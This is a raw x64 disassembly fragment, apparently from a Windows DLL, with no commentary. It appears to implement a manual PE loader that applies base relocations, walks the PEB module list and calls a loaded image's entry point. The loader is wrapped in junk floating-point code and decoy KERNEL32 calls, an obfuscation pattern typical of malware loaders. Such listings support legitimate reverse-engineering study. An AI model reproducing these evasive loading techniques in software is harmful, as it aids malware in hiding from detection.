mov eax, dword [rsp + 0x1d8]
add r13d, r12d
mov edi, dword [rsp + 0x1e0]
cmp r13d, edi
jg 0x1800044fd
mov rcx, qword [rsp + 0x48]
mov r13, qword [rsp + 0x40]
cmp dword [rcx + 4], 0
je 0x1800047bb
mov dword [rsp + 0x1d8], r14d
cmp r14d, edi
jle 0x1800046f5
mov eax, r14d
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x74], eax
movss xmm10, dword [0x18002fd58]
cmp eax, edi
jge 0x1800046e3
mov edi, 0x6f
cmp rbx, 0x29
jge 0x1800045bd
lea ecx, [rdi - 0x33]
mov rax, rcx
cqo
idiv rdi
movsxd rbx, eax
mov rcx, rbx
sub rcx, rdi
mov rdi, rcx
mov cl, al
call fcn.180002d8c
movsxd rcx, eax
mov rax, rbx
cqo
idiv rdi
sub rax, rcx
cmp rax, 0x29
jl 0x18000458e
movsd xmm6, qword [0x18002fcc0]
call qword [sym.imp.KERNEL32.dll_GetACP]
movaps xmm0, xmm6
mulsd xmm0, xmm6
movaps xmm6, xmm0
cvttsd2si rax, xmm0
cmp rax, 0x76
jg 0x1800045c5
movsd xmm6, qword [0x18002fce8]
cmp rax, 0x65
je 0x180004637
movsd xmm9, qword [0x18002fc80]
call qword [sym.imp.KERNEL32.dll_GetErrorMode]
cvttsd2si ecx, xmm6
call fcn.180002d8c
movd xmm6, eax
cvtdq2pd xmm6, xmm6
movaps xmm0, xmm6
addsd xmm0, xmm9
cvttsd2si eax, xmm0
movd xmm9, eax
cvtdq2pd xmm9, xmm9
movaps xmm1, xmm6
divsd xmm1, xmm9
cvttsd2si rax, xmm1
cmp rax, 0x65
jne 0x1800045f7
movaps xmm0, xmm10
call fcn.180002d18
mov rbx, rax
movaps xmm0, xmm10
call fcn.180002d18
movsx edi, al
xorps xmm6, xmm6
cvtsi2sd xmm6, rbx
mov ecx, edi
call fcn.180002cd4
movsx ecx, al
movd xmm1, ecx
cvtdq2pd xmm1, xmm1
movd xmm0, edi
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
subsd xmm6, xmm1
cvttsd2si rbx, xmm6
cmp rbx, 0x60
jle 0x1800046b0
mov rbx, r12
jmp 0x1800046bd
mov r13, qword [rsp + 0x40]
mov rcx, r13
mov rax, qword [rsp + 0x30]
sub rcx, qword [rax + 0x30]
mov qword [rsp + 0x50], rcx
lea rcx, [rax + 0xb0]
mov qword [rsp + 0x48], rcx
jmp 0x180004548
cmp rbx, 0x38
jl 0x1800046bd
mov rbx, 0xffffffffffffffd0
mov ecx, dword [rsp + 0x1d8]
add ecx, r12d
mov dword [rsp + 0x1d8], ecx
mov edi, dword [rsp + 0x1e0]
cmp ecx, edi
mov eax, dword [rsp + 0x74]
jg 0x180004578
jmp 0x1800046ee
mov rax, qword [rsp + 0x48]
mov r15d, dword [rax]
add r15, r13
movsd xmm9, qword [rsp + 0x58]
mov ecx, dword [r15 + 4]
test ecx, ecx
je 0x1800047bb
mov eax, r14d
cdq
sub eax, edx
sar eax, 1
mov r9d, eax
mov r10d, 0xfff
mov r11d, 3
mov esi, dword [r15]
add rsi, r13
mov edx, ecx
sub rdx, 8
shr rdx, 1
lea r8, [r15 + 8]
je 0x18000479a
mov rdi, qword [rsp + 0x50]
mov r13d, 2
sub rdx, r12
movzx ecx, word [r8]
movzx eax, cx
shr ax, 0xc
cmp ax, 0xa
jne 0x180004755
and rcx, r10
add qword [rcx + rsi], rdi
jmp 0x180004786
cmp ax, r11w
jne 0x180004763
and rcx, r10
add dword [rcx + rsi], edi
jmp 0x180004786
cmp ax, r12w
jne 0x180004779
and rcx, r10
mov rax, rdi
shr rax, 0x10
add word [rcx + rsi], ax
jmp 0x180004786
cmp ax, r13w
jne 0x180004786
and rcx, r10
add word [rcx + rsi], di
add r8, r13
test rdx, rdx
jne 0x180004738
mov r13, qword [rsp + 0x40]
mov edi, dword [rsp + 0x1e0]
cmp r9d, dword [rsp + 0x1e8]
jl 0x18000484d
mov eax, dword [r15 + 4]
add r15, rax
mov ecx, dword [r15 + 4]
test ecx, ecx
jne 0x180004718
mov ebx, r12d
mulsd xmm15, xmm9
addsd xmm15, xmm14
movaps xmm0, xmm15
call fcn.180003018
mulsd xmm0, xmm13
addsd xmm7, xmm0
add ebx, r12d
movd xmm15, ebx
cvtdq2pd xmm15, xmm15
comisd xmm8, xmm15
jae 0x1800047be
cmp r14d, edi
jle 0x1800047fe
mov rax, qword [rsp + 0x30]
mov esi, dword [rax + 0x28]
add rsi, r13
mov rdi, qword [rsp + 0x1d0]
mov rcx, r13
cmp byte [rdi + 8], 0
jne 0x1800048b5
mov rdx, qword [rdi + 0x10]
call fcn.180003070
mov rbx, rax
test rax, rax
je 0x1800048bd
cmp byte [rdi + 0x3c], 0
je 0x180004894
mov r8, qword [rdi + 0x40]
test r8, r8
je 0x180004894
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
add rdx, 0x20
mov rcx, qword [rdx]
jmp 0x180004889
mov dil, 0x45
cmp rbx, 0x7f
je 0x180004873
call qword [sym.imp.KERNEL32.dll_UnregisterApplicationRestart]
movsx eax, dil
movd xmm0, eax
cvtdq2ps xmm0, xmm0
call fcn.180002d18
mov rdi, rax
cmp al, 0x7f
jne 0x180004856
call qword [sym.imp.KERNEL32.dll_IsSystemResumeAutomatic]
mov ebx, 0x2e
jmp 0x18000484d
cmp qword [rcx + 0x20], r8
je 0x180004890
mov rcx, qword [rcx]
cmp rcx, rdx
jne 0x180004880
jmp 0x180004894
mov qword [rcx + 0x20], r13
xor r8d, r8d
mov edx, r12d
mov rcx, r13
call rsi
mov r9d, dword [rdi + 0x38]
mov r8, qword [rdi + 0x30]
mov rdx, qword [rdi + 0x28]
mov rcx, qword [rdi + 0x20]
call rbx
cdqe
jmp 0x1800048ef
xor r8d, r8d
mov edx, r12d
call rsi
xor ecx, ecx
movsd xmm0, qword [0x18002fd98]
comisd xmm7, xmm0
jb 0x1800048e4
subsd xmm7, xmm0
comisd xmm7, xmm0
jae 0x1800048e4
movabs rax, 0x8000000000000000
mov rcx, rax
cvttsd2si rax, xmm7
add rax, rcx
add rax, rsi
lea r11, [rsp + 0x190]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret